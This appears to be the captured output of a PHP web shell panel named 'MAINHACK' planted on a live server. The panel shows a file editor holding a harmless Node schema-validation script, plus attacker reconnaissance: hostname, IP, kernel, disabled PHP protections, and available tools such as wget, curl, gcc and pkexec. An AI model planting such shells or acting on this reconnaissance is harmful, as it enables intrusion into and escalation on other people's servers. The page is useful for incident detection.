[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: absolutePath.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; /** @typedef {import("ajv").Ajv} Ajv */ /** @typedef {import("ajv").ValidateFunction} ValidateFunction */ /** @typedef {import("../validate").SchemaUtilErrorObject} SchemaUtilErrorObject */ /** * @param {string} message * @param {object} schema * @param {string} data * @returns {SchemaUtilErrorObject} */ function errorMessage(message, schema, data) { return { // @ts-ignore // eslint-disable-next-line no-undefined dataPath: undefined, // @ts-ignore // eslint-disable-next-line no-undefined schemaPath: undefined, keyword: 'absolutePath', params: { absolutePath: data }, message, parentSchema: schema }; } /** * @param {boolean} shouldBeAbsolute * @param {object} schema * @param {string} data * @returns {SchemaUtilErrorObject} */ function getErrorFor(shouldBeAbsolute, schema, data) { const message = shouldBeAbsolute ? `The provided value ${JSON.stringify(data)} is not an absolute path!` : `A relative path is expected. However, the provided value ${JSON.stringify(data)} is an absolute path!`; return errorMessage(message, schema, data); } /** * * @param {Ajv} ajv * @returns {Ajv} */ function addAbsolutePathKeyword(ajv) { ajv.addKeyword('absolutePath', { errors: true, type: 'string', compile(schema, parentSchema) { /** @type {ValidateFunction} */ const callback = data => { let passes = true; const isExclamationMarkPresent = data.includes('!'); if (isExclamationMarkPresent) { callback.errors = [errorMessage(`The provided value ${JSON.stringify(data)} contains exclamation mark (!) which is not allowed because it's reserved for loader syntax.`, parentSchema, data)]; passes = false; } // ?:[A-Za-z]:\\ - Windows absolute path // \\\\ - Windows network absolute path // \/ - Unix-like OS absolute path const isCorrectAbsolutePath = schema === /^(?:[A-Za-z]:(\\|\/)|\\\\|\/)/.test(data); if (!isCorrectAbsolutePath) { callback.errors = [getErrorFor(schema, parentSchema, data)]; passes = false; } return passes; }; callback.errors = []; return callback; } }); return ajv; } var _default = addAbsolutePathKeyword; exports.default = _default;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002